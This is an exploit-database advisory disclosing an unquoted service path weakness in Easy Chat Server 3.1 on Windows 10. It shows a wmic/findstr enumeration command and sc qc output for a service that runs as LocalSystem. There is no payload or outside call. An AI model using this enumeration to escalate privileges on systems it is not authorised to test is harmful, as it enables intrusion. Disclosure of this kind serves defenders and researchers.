Exploit Title: Easy Chat Server v3.1 - 'Easy Chat Service' Unquoted Service Path Exploit Author: boku Date: 02/10/2020 Vendor Homepage: http://www.echatserver.com/ Software Link: http://www.echatserver.com/ecssetup.exe Version: 3.1 Tested On: Windows 10 (32-bit) # Recreate: # 1) Download & install Easy Chat Server 3.1 # 2) Open Easy Chat Server and click the 'Service...' Button on the bottom right # 3) Click 'Install Service' Button C:\Users\elaglor>wmic service get name, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """ Easy Chat Service C:\EFS Software\Easy Chat Server\ecsService.exe Auto C:\Users\elaglor>sc qc "Easy Chat Service" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: Easy Chat Service TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\EFS Software\Easy Chat Server\ecsService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Easy Chat Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem